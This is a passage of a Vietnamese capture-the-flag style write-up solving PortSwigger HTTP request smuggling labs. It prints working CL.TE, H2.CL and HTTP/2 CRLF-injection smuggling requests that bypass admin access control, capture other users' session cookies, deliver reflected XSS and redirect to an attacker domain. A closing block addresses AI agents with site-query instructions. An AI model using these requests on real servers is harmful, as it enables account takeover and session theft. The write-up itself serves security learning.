Host: 0a23001e031a3d0d81bd4dc600b30077.web-security-academy.net
Content-Length: 148
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-rtfKBY-Ip: 127.0.0.1
Content-Length: 200

x=1

```

{% endcode %}

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FqFByzmjMZJjsnC6k125W%2Fimage.png?alt=media&#x26;token=828de801-c1b6-4dc8-80ef-34407d4de6ce" alt=""><figcaption></figcaption></figure>

Ngoài ra chúng ta cũng có thể sử dụng một vài header khác để bypass access control như:&#x20;

Vì các tiêu đề này được cho là hoàn toàn ẩn đối với người dùng nên chúng thường được các máy chủ phụ trợ hoàn toàn tin cậy. Giả sử bạn có thể gửi kết hợp đúng tiêu đề và giá trị, điều này có thể cho phép bạn bỏ qua kiểm soát truy cập.

`X-SSL-CLIENT-CN: administrator`

```http
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator
Foo: x
```

## Lab9: [Exploiting HTTP request smuggling to capture other users' requests](https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests)

Như tiêu đề của lab chúng ta biết rằng ở lab này chúng ta cần lấy thông tin của người khác từ request ví dụ như cookie, tooken, ......

Sau một lúc xem xét thì có vẻ như lab này giống lab 7 có một nơi để leak được data là ở comment.

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FNPRE087IFjexNaygVSWx%2Fimage.png?alt=media&#x26;token=85503b41-2d66-49c4-8185-b21a03f3016a" alt=""><figcaption></figcaption></figure>

Xác định được bài này dạng CL.TE, khi này chúng ta cần exploit ở path comment để có thể leak được data của request người dùng khác.

Ở đây mình có đoạn gói tin như ở dưới chỉ có điều comment để cuối vì nó sẽ nối với gói tin của request tiếp theo, đặc biệt phần CL:920 để độ dài resp có thể trả về đủ session.&#x20;

{% code overflow="wrap" %}

```http
POST / HTTP/1.1
Host: 0a8e005504c61dfb8264925600bc009e.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 920
Cookie: session=L53z8xuArvwlLeMMT7OD4PTpBJq9e8PS

csrf=62XNt6dAeOKMCrmclB0AneZZX1ZtP5Qk&postId=9&name=Carlos+Montoya&email=carlos%40normal-user.net&website=&comment=test
```

{% endcode %}

Sau khi gửi đợi một lúc thì request victim sẽ tới như hình dưới.

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FBzVHAO33Pf6A8xLzWOnr%2Fimage.png?alt=media&#x26;token=67da3496-fba0-4372-b65d-7565779a51ce" alt=""><figcaption></figcaption></figure>

## Lab10: [Exploiting HTTP request smuggling to deliver reflected XSS](https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss)

Đầu tiên chúng ta cần xem lab này thuộc dạng nào đã vào xem data được reflect ở đâu.

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2F3meE2Cd6pnmK2XG0Y9qI%2Fimage.png?alt=media&#x26;token=d4021076-286b-401a-9ef1-a70efddba4ad" alt=""><figcaption></figcaption></figure>

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2F5RwDXe1B4D8FHwMOj5Mh%2Fimage.png?alt=media&#x26;token=2af442d5-3af8-45f7-bfcb-234c50a72867" alt=""><figcaption></figcaption></figure>

Oke chúng ta xác định rằng hai dữa liệu ở đâu có thể thực hiện khai thác:

* Ở form có một trường ẩn là user-agent chúng ta có thể thay đổi được
* Nó thuộc dạng CL.TE&#x20;

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FEFpFbIuTYHxvfG16Wx2g%2Fimage.png?alt=media&#x26;token=780ba54c-cbc6-4df6-9c2b-5bad9ce2f851" alt=""><figcaption></figcaption></figure>

Đây là payload cuối cùng bypass qua thẻ input và nhúng JS vào code, từ đây chúng ta build lại đoạn HTTP chứa User-Agent. (Cần tách phần header tiếp theo là body bằng cách thêm một giá trị x=1)

{% code overflow="wrap" %}

```http
POST / HTTP/1.1
Host: 0a2200e40449bde5832c9b2d0005002c.web-security-academy.net
Content-Length: 160
Transfer-Encoding: chunked

0

GET /post?postId=5 HTTP/1.1
User-Agent: a"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

```

{% endcode %}

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FAshMrTAUZgYp85pjSI7c%2Fimage.png?alt=media&#x26;token=8278bac7-2e2b-4955-b09d-59e80fcb3175" alt=""><figcaption></figcaption></figure>

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FcSwKctPpgEzytdzamzN6%2Fimage.png?alt=media&#x26;token=81576d23-4706-47ad-ba19-f8f6ead11d43" alt=""><figcaption></figcaption></figure>

## Using HTTP request smuggling to turn an on-site redirect into an open redirect <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>

Nhiều ứng dụng thục hiện chuyển hướng tại chỗ từ một url tới một url khác và cụ thể là ở header `Host` chuyển hướng tới URL khác.

Ví dụ:

```http
GET /home HTTP/1.1
Host: normal-website.com

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```

Như đoạn gói tin HTTP ở trên được xem như vô hại nhưng điều gì sẽ xảy ra kẻ tấn công khai thác lỗ hổng HRS để làm request tiếp theo chuyển hướng tới domain của kẻ tấn công.

Ví dụ sau dùng dạng CL.TE

```http
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```

Nếu cuộc tấn công này thành công thì request tiếp theo sẽ như sau:

```http
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```

## Lab11: [Exploiting HTTP request smuggling to perform web cache poisoning](https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-poisoning) (<mark style="background-color:purple;">Expert</mark>)

## Lab12: [Exploiting HTTP request smuggling to perform web cache deception](https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-deception) (<mark style="background-color:purple;">Expert</mark>)

## Lab13: [H2.CL request smuggling](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-cl-request-smuggling)

Trước hết cần hiểu sơ về HTTP/2 thì các request từ http/2 không cần định nghĩa rõ ràng CL, còn đối với server có hạ cấp từ 2 xuống 1 thì nó sẽ lấy CL để đo độ dài nội dung cần gửi.

Khi ở Front-end (HTTP/2)

```http
:method	POST
:path	/example
:authority	vulnerable-website.com
content-type	application/x-www-form-urlencoded
content-length	0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Content-Length: 10

x=1
```

Back-end(HTTP/1)

```http
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Content-Length: 10

x=1GET / H
```

Sơ qua thế thôi, bây giờ chúng ta sẽ đi vào lab này, như tiêu đề thì lab này sử dụng http/2 và phía FE dùng CL.

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FDbeaFYrnsIqta3lEDI9O%2Fimage.png?alt=media&#x26;token=374b98cf-4c5d-4bdf-890b-e6cf72307506" alt=""><figcaption></figcaption></figure>

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2F1fxe1jIHh9ILPaC1pv9X%2Fimage.png?alt=media&#x26;token=ba41e72f-80a5-4797-a853-399f586572fd" alt=""><figcaption></figcaption></figure>

Như ảnh thứ 2 chúng ta đã biết rằng nó dạng CL, bây giờ chúng ta tìm được một path `resources` có chứa các image và file js. Ở đây mình test qua path `/resources` để xem như nào.

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2Fnz2Nq6Cyg8KXkLdZjzFb%2Fimage.png?alt=media&#x26;token=76643e1f-d91a-45e7-abab-ce8ee7cd981f" alt=""><figcaption></figcaption></figure>

Phần Location header của res bị thay đổi, nếu chúng ta dùng lỗ hổng HRS để chuyển hướng tới một domain khác thì sao nhỉ.

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FFxMbBMF6aoqBMA2nceyk%2Fimage.png?alt=media&#x26;token=57034416-4572-4f33-a9b1-f6566f5f9ea2" alt=""><figcaption></figcaption></figure>

Chúng ta thấy rằng tới request thứ 2 Location đã bị đổi, bây giờ chúng ta sẽ tạo một server chứa mã độc để solve lab này.

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FI0uSRsZ12lVMABVEwagP%2Fimage.png?alt=media&#x26;token=c03d743a-d676-4b98-9692-d1fc1005d5e6" alt=""><figcaption></figcaption></figure>

Sau đó thay host ở http request smuggling thành server chúng ta vừa tạo và gửi nó lại.

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FubUH0pG8TlIeCMMiy0Kx%2Fimage.png?alt=media&#x26;token=4133f2e2-b1d1-48df-814f-a80fe9c37f79" alt=""><figcaption></figcaption></figure>

## Lab14: [HTTP/2 request smuggling via CRLF injection](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection)

Ở lab này chúng ta sẽ khai thác HRS thông qua CRLF injection. Nếu các bạn chưa đọc CRLF injection thì có thể đọc ở [đây](https://viblo.asia/p/phan-6-tim-hieu-ve-crlf-injection-07LKXx04KV4).

Đối với lab này sẽ có hạ cấp xuống trước khi gửi tới back-end.

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FainiJ8IYpDl9MuDczIEe%2Fimage.png?alt=media&#x26;token=0439d07e-fdc0-4922-b9e4-4ec696fbe119" alt=""><figcaption></figcaption></figure>

Xem qua thì bài này không phải dạng H2.CL hay H2.TE, như tiêu đề có sử dụng CRLF thì đối với HTTP/2 chúng ta sẽ thêm một giá trị ở phần request header

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2F26OdWrOKRqYp6XxM2BBu%2Fimage.png?alt=media&#x26;token=5808ad65-a4dd-4a84-94b5-58ff59e7407f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2F5vo3eFLaOSeGAHWNBVlW%2Fimage.png?alt=media&#x26;token=f9c5d2d3-8721-404a-a9af-65c80642d405" alt=""><figcaption></figcaption></figure>

Như ở lab 13 đã cho thấy rằng ở Front-end thì http/2 có dạng khác và khi chúng ta thêm một trường header này dùng CRLF vào để khi hạ cấp thì nó hiểu có thêm một trường TE: chunked và gửi tới back-end.

Yêu cầu của lab là cần lấy giá trị session của victim, lúc này qua một lần xem xét thì có chỗ search thì reflect data được.

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FwViNhnSTFCXbXJpuIA7M%2Fimage.png?alt=media&#x26;token=204251b4-7640-4908-9ff7-6f479b5765a7" alt=""><figcaption></figcaption></figure>

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FHr0DKhYom9tAAXWgS19D%2Fimage.png?alt=media&#x26;token=b1862473-bcd5-421d-916f-8947679dec7d" alt=""><figcaption></figcaption></figure>

Chúng ta sẽ lợi dùng parameter `search` này để reflect gói tin HTTP của victim ra, như trên sau khi thêm một header như sau:

`name`: foo

`value`: bar`\r\n`Transfer-Encoding: chunked

Lưu ý: Chỗ \r\n có thể viết ở ngoài rồi đưa vào hoặc khi viết liền chỉ cần dùng phím tắt `Shift+Enter`&#x20;

Bây giờ thêm phần body vì sau khi hạ cấp gửi tới Back-end thì nó dùng TE. Lúc này đoạn body sẽ như sau (Cần có cookie vì nó phải leak ở tài khoản chúng ta)

```http
0

POST / HTTP/1.1
Host: 0ab900dc0354cf9d81781b81008e00f5.web-security-academy.net
Cookie: session=NFnrJHX0luwupRj7f4aMbrm5UUiqEQNA
Content-Length: 900

search=
```

Sau khi gửi đợi một lúc thì victim sẽ gửi tới, như đề bài thì victim sẽ 15s gửi một request.

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FITkkUgLQjyY2EQywWsEv%2Fimage.png?alt=media&#x26;token=8e83e4ff-70f4-4103-a441-f5c174021f6a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2F183sgcG29uBHI7aDrySd%2Fimage.png?alt=media&#x26;token=cc094ebe-ef74-4f80-be31-33b2f1393c02" alt=""><figcaption></figcaption></figure>

## Lab15: [HTTP/2 request splitting via CRLF injection](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection)

Như tiêu đề thì lab này có thể dùng CRLF để gắn một request khác vào giá trị của header nào đó trong HTTP/2 nếu như ở Back-End không hỗ trợ Transfer-Encoding.

```http
:method	GET
:path	/
:authority	vulnerable-website.com
foo	
bar\r\n
\r\n
GET /admin HTTP/1.1\r\n
Host: vulnerable-website.com
```

Bây giờ hãy tới với lab, trước tiên hãy xem yêu cầu của lab này.

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FOujZCN3ryCCAe2iE9JGj%2Fimage.png?alt=media&#x26;token=ccbdec77-cf8f-46d4-9664-f977c4415d57" alt=""><figcaption></figcaption></figure>

Yêu cầu chúng ta lấy được cookie admin và try cập để xóa tài khoản carlos. Ý tưởng ở đây sẽ vẫn như cũ nhưng cách thức thực hiện khác so với lab trên.

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FEzqgCWkaJLPi20Av0LK2%2Fimage.png?alt=media&#x26;token=90640070-ff60-4239-b093-3fdaac02d8f6" alt=""><figcaption></figcaption></figure>

Ở đây có một path `/admin` khi chúng ta truy cập thì nó là yêu cầu phải là admin, thì như tiêu đề thì chúng ta sẽ khai thác lỗ hổng này theo cách split header HTTP/2 thông qua CRLF vì một phần BE không còn hỗ trợ TE, như trên lab đã nói rằng Admin sẽ request 10s một lần nên chỉ cần tạo một smuggling và chờ request của admin thì chúng ta có thể lấy được cookie của admin.

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FrQ5RHMwBJkw62XNfj6xy%2Fimage.png?alt=media&#x26;token=8dadf750-af5e-4061-8e56-f41cb88d29a9" alt=""><figcaption></figcaption></figure>

Đầu tiên chúng ta sẽ sử dụng một path không có để dễ thấy status 302 khi admin truy cập hơn.

{% code overflow="wrap" %}

```http
:scheme: https
:method: GET
:path: /x
:authority: 0adc00d604bba2af80c15d2c00440057.web-security-academy.net
cookie: session=GVq0LI2ysXQ6W0WKxsm4ThzN7hljQVhD
foo: bar\r\n
\r\n
GET /x HTTP/1.1\r\n
Host: 0adc00d604bba2af80c15d2c00440057.web-security-academy.net

```

{% endcode %}

Xem qua gói tin trên sẽ chia thành 2 phần request, sau khi hạ cấp thì request đầu tiên sẽ do chúng ta request sẽ trả về `notfound` sau đó khi admin truy cập thì request của admin sẽ thay thế bằng đoạn http request smuggling của chúng ta lồng vào và khi chúng ta request thì request của admin sẽ được submit bởi chúng ta và trả  về tài khoản admin.

Nói dễ hiểu hơn khi hạ cấp thì request smuggling chúng ta lồng vào `name:foo` thì sẽ được đưa vào hàng đợi để xử lý sau khi có request tiếp theo sẽ được xử lý.

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FYZKME8JnGeHVF596Sh1r%2Fimage.png?alt=media&#x26;token=f1d303ab-ad92-4f18-963a-b87baf7f6739" alt=""><figcaption></figcaption></figure>

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FXo4XZiqb6EKDBifrbTvs%2Fimage.png?alt=media&#x26;token=67a4a106-0a49-43f6-aa5f-26d813806998" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://shangs.gitbook.io/shine/web-security/research-vulnerability/advanced-topics/http-request-smuggling.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
